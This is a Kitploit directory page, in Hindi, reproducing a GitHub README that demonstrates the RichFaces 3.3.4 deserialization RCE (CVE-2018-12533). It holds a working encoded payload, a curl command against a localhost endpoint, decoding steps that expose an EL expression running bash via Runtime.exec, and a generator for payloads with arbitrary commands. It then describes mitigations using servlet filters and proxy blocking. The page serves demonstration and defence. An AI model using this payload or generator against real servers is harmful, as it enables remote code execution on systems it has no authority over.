Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
richfaces-vulnerability-cve-2018-12533-rf-14310 — RichFaces 3.3.4 में CVE-2018-12533 रिमोट कोड निष्पादन का प्रदर्शन करता है। पेलोड जनरेशन, जावा डिसीरियलाइज़ेशन विश्लेषण, और फ़िल्टर या वाल्व के माध्यम से शमन रणनीतियाँ शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षा
GitHubmhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310

richfaces-vulnerability-cve-2018-12533-rf-14310

RichFaces 3.3.4 में CVE-2018-12533 रिमोट कोड निष्पादन का प्रदर्शन करता है। पेलोड जनरेशन, जावा डिसीरियलाइज़ेशन विश्लेषण, और फ़िल्टर या वाल्व के माध्यम से शमन रणनीतियाँ शामिल हैं।

रिपॉजिटरी देखें
131 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

RichFaces 3.3.4 में मौजूद रिमोट कोड निष्पादन (RCE) भेद्यता का प्रदर्शन तथा इसे कैसे कम करें और/या ब्लॉक करें

  • हमले का उदाहरण
  • रिपॉजिटरी क्लोन करें
  • पेलोड को डिकोड करना
  • Java क्लास को डिसीरियलाइज़ करना
  • भेद्यता का परीक्षण करने के लिए पेलोड बनाना
  • कैसे कम करें?
    • अगर आपको वास्तव में इस एंडपॉइंट की आवश्यकता है
    • अगर आपको इस एंडपॉइंट की आवश्यकता नहीं है
  • निष्पादन प्रवाह को समझना
  • इस सुविधा का उपयोग कौन करता है?
  • सुझाव
  • संबंधित लिंक

CVE-2018-12533 के विवरण। RichFaces के अन्य संस्करण भी असुरक्षित हैं, जैसा कि यहाँ देखा जा सकता है।

हमले का उदाहरण

export PAYLOAD_BASE64_RICHFACES='eJx1k8-LFEcUx98MuKtZD0YhIQTJOkpmBrarZ2ZdWdksmv2BGZg14oigEoY3NW-7a62u6q16M9PrYm5evHr1llMgAcG!wJsEctk!IR4kh4CE5Bzp7tUlktSlisenvu9Lfev99Acc8w4uWRcJp2S8jZK8cGRG5O4rFjEnWtxAZbizcZO8HTtJF7oJRrSBjKsvD3479c-Pz6ow24Xjg2G0brV1XZgdbFuXIOenmFQUcxdmBlM14vgunJAoY8Khph4cG4yQkeF0bwcnGGo0UfjtcIckr!RgZpDmjXfhe6hkKZSrAgBfAICF1Dv4Mr-WidK1tElqDRkWfUamb6wekevjhNydX56vPnn661YVqj04ITV6fx0T-nffPjtlopUefORxQqNCg-GTklA27JNTqNWD3PlKlubt69Imwo9NYUATe0Fa9ChCubdFHNvRmjIjZaJ33qtQ6UElYfi8UM1C0mEJbmapI--VNSvZ!yrfwuhD-p3ySYDMwWflc5AWH3J4-q8La692uVpwZ95zR8QPjx73!7x78FVO5A7O5V9iZ2i9!y-9bpLq4ZtP!5578fFW3jsPae4BQGWuMnt-v8hj3RqmjEVEvJkxOYP6sNRo5sX1PIZGU2xbl4fRqJWmvHQqZdEvtk0TKUNbaDAiV2sKQ9Ou8YxGUilSAmt7hwq-1hQ0QV2KiTxXcXNsWCWU04fHRlNQRrJxrz5EH9cX6oGsL9TZjmU8H3KShu8nIZiMtSGHQ6UV7wVyQkGn1V4O2p2lxcXAbQfti4vtVtBpdZZa7VYnaLdbF5eW6981a82HAGMHZ-71jpwc!rCfD26!!v3s!rXipQGgymUgAqcsrjlMYyV9Z4Ph1NHVcijSNJt-DVfCiaKpD6U1fqwZb-DIoRVZPqvzVy8vLyy154vJWa2d35eYsoxxjdCIoviwlr0F6sFSwQ__'
curl "http://localhost:8080/myapp/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/${PAYLOAD_BASE64_RICHFACES}.seam"

DATA/ के बाद और .seam से पहले तक का हिस्सा हमले का पेलोड है। यह मात्र एक सीरियलाइज़्ड, ज़िप की गई और Base64 में एन्कोडेड Java क्लास है। यह RichFaces द्वारा URL के अनुकूल बनाने के लिए थोड़े संशोधित प्रारूप वाला Base64 है।

इस क्लास में Expression Language प्रारूप में एक कमांड लाइन होती है जिसे एप्लिकेशन द्वारा, विशेष रूप से RichFaces द्वारा निष्पादित किया जाता है, और यही समस्या है, क्योंकि सर्वर पर मनमाना कोड निष्पादित किया जा सकता है।

उपरोक्त पेलोड में एन्कोड किया गया कमांड touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458 है (केवल प्रदर्शन उद्देश्य के लिए) और हम इसे आगे देखेंगे।

रिपॉजिटरी क्लोन करें

git clone [email protected]:mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310.git
cd richfaces-vulnerability-cve-2018-12533-rf-14310

पेलोड को डिकोड करना

echo "${PAYLOAD_BASE64_RICHFACES}" | \
    sed 's/-/+/g' | \
    sed 's#!#/#g' | \
    sed 's/_/=/g' | \
    base64 -d | \
    zlib-flate -uncompress > UmaClasse.serialized-class.bin

यह पेलोड को RichFaces के Base64 प्रारूप से मानक Base64 प्रारूप में परिवर्तित करता है। Base64 को डिकोड करता है, जो इस मामले में एक ज़िप की गई बाइनरी है, फिर उसे अनज़िप करता है, जिससे सीरियलाइज़्ड Java क्लास की बाइनरी प्राप्त होती है।

Java क्लास को डिसीरियलाइज़ करना

यहाँ हम पेलोड के अंदर मौजूद दुर्भावनापूर्ण कमांड देखेंगे।

नीचे दिया गया कमांड क्लास के सभी एट्रिब्यूट और क्लास में परिभाषित उनके संबंधित प्रकार दिखाएगा। यह रनटाइम पर प्रकार प्रदर्शित नहीं करता; यदि आप नहीं जानते कि इसका क्या अर्थ है, तो कोई बात नहीं।

यहाँ हम JBang की बदौलत Java कोड को स्क्रिप्ट की तरह निष्पादित कर रहे हैं

chmod +x JavaObjectDeserializer.java
./JavaObjectDeserializer.java UmaClasse.serialized-class.bin

आउटपुट कुछ इस प्रकार है:

Objeto java convertido para JSON:
{
  "_width (int)": 111,
  "_height (int)": 31,
  "_data (java.lang.Object)": null,
  "_format (int)": 1,
  "_paint (java.lang.Object)": {
    "className (java.lang.String)": null,
    "savedState (java.io.Serializable)": {
      "m (javax.el.MethodExpression)": {
        "attr (java.lang.String)": "/views/consultaPadrao.xhtml @98,51 paint=\"#{captchaBean.paint}\"",
        "orig (javax.el.MethodExpression)": {
          "expectedType (java.lang.Class)": null,
          "expr (java.lang.String)": "#{facesContext.getExternalContext().getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec(['bash','-c','touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458'])\")}",
          "fnMapper (javax.el.FunctionMapper)": null,
          "varMapper (javax.el.VariableMapper)": null,
          "paramTypes ([Ljava.lang.Class;)": [
            "java.awt.Graphics2D",
            "java.lang.Object"
          ]
        }
      }
    }
  },
  "cacheable (boolean)": false,
  "_bgColor (int)": 0
}
Arquivo .class gravado em: org.richfaces.renderkit.html.Paint2DResource$ImageData.class

⚠️ मुख्य बिंदु _paint.savedState.m.orig.expr एट्रिब्यूट है, जहाँ दुर्भावनापूर्ण कोड स्थित है, जो इस उदाहरण में केवल एक हानिरहित कोड है जो डिस्क पर एक फ़ाइल बनाता है: touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458

भेद्यता का परीक्षण करने के लिए पेलोड बनाना

chmod +x Generator_Paint2DResourceImageData.java

./Generator_Paint2DResourceImageData.java
# ou
./Generator_Paint2DResourceImageData.java <um comando aqui>
./Generator_Paint2DResourceImageData.java touch /tmp/alguem-esteve-aqui

आउटपुट आपको वे कमांड दिखाएगा जिन्हें आपको एक असुरक्षित सर्वर के विरुद्ध निष्पादित करना है। केवल URL समायोजित करें।

कैसे कम करें?

अगर आपको वास्तव में इस एंडपॉइंट की आवश्यकता है

एक कम सरल और अधिक कुशल विकल्प है RichFaces के कोड में संशोधन करके कुछ हैंडलिंग करना। नीचे प्रासंगिक स्टैक दिया गया है।

दूसरा विकल्प, जो पिछले विकल्प से अधिक सरल है, एक फ़िल्टर (javax.servlet.Filter) बनाना है, जो केवल उस पथ पर कार्य करेगा, पथ में मौजूद Base64 को डिसीरियलाइज़ करेगा और यह उचित जाँच करेगा कि अनुरोध को आगे बढ़ने दिया जाए या अस्वीकार किया जाए। यह ज़ोर देकर कहना महत्वपूर्ण है कि डिसीरियलाइज़ेशन LookAheadObjectInputStream क्लास के माध्यम से होना चाहिए, जैसा कि org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String) में किया जाता है, ताकि डिसीरियलाइज़ेशन के दौरान सुरक्षा समस्याओं से यथासंभव बचा जा सके, उदाहरण के लिए दुर्भावनापूर्ण कोड निष्पादन।

अगर आपको इस एंडपॉइंट की आवश्यकता नहीं है

एक विकल्प एप्लिकेशन के सामने मौजूद किसी प्रॉक्सी पर endpoint के पथ को ब्लॉक करना है।

एक और विकल्प, जो मुझे लगता है कि लागू करने लायक है, लेकिन जो पहले विकल्प की आवश्यकता को समाप्त नहीं करता, वह है एक फ़िल्टर (javax.servlet.Filter) बनाना, जो केवल उस पथ पर कार्य करेगा और पहुँच को ब्लॉक कर देगा। ब्लॉक करने में केवल अनुरोध का जवाब देना शामिल है, फ़िल्टर श्रृंखला को आगे निष्पादित किए बिना। आप body में एक टेक्स्ट रख सकते हैं और HTTP स्टेटस कोड 410 (Gone) का उपयोग कर सकते हैं। याद रखें कि यह फ़िल्टर एप्लिकेशन के web.xml में परिभाषित होना चाहिए। इस फ़िल्टर का एक उदाहरण: PathBlockerFilter।

टूल डाउनलोड करें